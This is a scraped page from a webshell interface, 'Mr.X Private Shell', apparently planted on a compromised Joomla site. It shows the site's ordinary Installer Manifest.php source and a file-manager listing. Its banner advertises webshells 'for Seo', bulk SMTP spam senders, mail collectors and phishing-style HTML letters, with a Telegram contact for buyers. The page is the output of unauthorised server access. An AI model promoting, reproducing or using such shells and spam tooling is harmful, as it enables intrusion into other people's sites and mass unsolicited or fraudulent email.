__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Installer;

use Joomla\CMS\Language\Text;

// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Joomla! Package Manifest File
 *
 * @since  3.1
 */
abstract class Manifest
{
    /**
     * The error messages
     *
     * @var    array
     * @since  4.3.0
     */
    public $_errors;

    /**
     * Path to the manifest file
     *
     * @var    string
     * @since  3.1
     */
    public $manifest_file = '';

    /**
     * Name of the extension
     *
     * @var    string
     * @since  3.1
     */
    public $name = '';

    /**
     * Version of the extension
     *
     * @var    string
     * @since  3.1
     */
    public $version = '';

    /**
     * Description of the extension
     *
     * @var    string
     * @since  3.1
     */
    public $description = '';

    /**
     * Packager of the extension
     *
     * @var    string
     * @since  3.1
     */
    public $packager = '';

    /**
     * Packager's URL of the extension
     *
     * @var    string
     * @since  3.1
     */
    public $packagerurl = '';

    /**
     * Update site for the extension
     *
     * @var    string
     * @since  3.1
     */
    public $update = '';

    /**
     * List of files in the extension
     *
     * @var    array
     * @since  3.1
     */
    public $filelist = [];

    /**
     * Constructor
     *
     * @param   string  $xmlpath  Path to XML manifest file.
     *
     * @since   3.1
     */
    public function __construct($xmlpath = '')
    {
        if ($xmlpath !== '') {
            $this->loadManifestFromXml($xmlpath);
        }
    }

    /**
     * Load a manifest from a file
     *
     * @param   string  $xmlfile  Path to file to load
     *
     * @return  boolean
     *
     * @since   3.1
     */
    public function loadManifestFromXml($xmlfile)
    {
        $this->manifest_file = basename($xmlfile, '.xml');

        $xml = simplexml_load_file($xmlfile);

        if (!$xml) {
            $this->_errors[] = Text::sprintf('JLIB_INSTALLER_ERROR_LOAD_XML', $xmlfile);

            return false;
        } else {
            $this->loadManifestFromData($xml);

            return true;
        }
    }

    /**
     * Apply manifest data from a \SimpleXMLElement to the object.
     *
     * @param   \SimpleXMLElement  $xml  Data to load
     *
     * @return  void
     *
     * @since   3.1
     */
    abstract protected function loadManifestFromData(\SimpleXMLElement $xml);
}

Filemanager

Name Type Size Permission Actions
Adapter Folder 0775
Manifest Folder 0775
Installer.php File 76.81 KB 0664
InstallerAdapter.php File 37.75 KB 0664
InstallerExtension.php File 3.87 KB 0664
InstallerHelper.php File 11.22 KB 0664
InstallerScript.php File 12.43 KB 0664
InstallerScriptInterface.php File 2.26 KB 0664
LegacyInstallerScript.php File 5.38 KB 0664
Manifest.php File 2.68 KB 0664
Filemanager